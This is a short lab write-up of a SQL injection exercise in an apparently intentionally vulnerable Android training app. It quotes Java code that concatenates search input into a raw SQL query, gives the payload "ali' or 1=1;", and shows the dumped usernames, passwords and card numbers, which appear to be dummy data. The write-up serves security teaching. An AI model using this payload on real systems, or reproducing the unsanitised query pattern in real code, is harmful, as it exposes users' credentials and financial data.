
Input Validation Issue – Part 1

1. The objective is to try to access all user data without knowing any username. There are three users by default, and the task is to output data of all the three users with a single malicious search.
2. After observing the vulnerable code, I noticed that the developer put the user's input in the SQL query without any sanitization or filtration.

```
public void search(View view) {
    EditText srchtxt = (EditText) findViewById(R.id.ivilsearch);
    try {
        Cursor cr = this.mDB.rawQuery("SELECT * FROM sqliuser WHERE user = '" + srchtxt.getText().toString() + "'", null);
        StringBuilder strb = new StringBuilder("");
        if (cr != null && cr.getCount() > 0) {
            cr.moveToFirst();
            do {
                strb.append("User: (" + cr.getString(0) + ") pass: (" + cr.getString(1) + ") Credit card: (" + cr.getStri
```

3. I can inject malicious query in the main query and get all users' data.
4. When I searched for “ali”, It says “**Users: (ali) not found**”, but when I inject this malicious query “**ali' or 1=1;**”, I get all users' data.

The screenshot shows a mobile application interface with a search bar at the top containing the text "ali' or 1=1;". Below the search bar is a button labeled "SEARCH". The search results are displayed in a dark gray rounded rectangle at the bottom, showing three users: (admin), (diva), and (john), each with their respective password and credit card number.

```
ali' or 1=1;
```

SEARCH

User: (admin) pass: (passwd123) Credit card: (1234567812345678)
User: (diva) pass: (p@ssword) Credit card: (1111222233334444)
User: (john) pass: (password123) Credit card: (5555666677778888)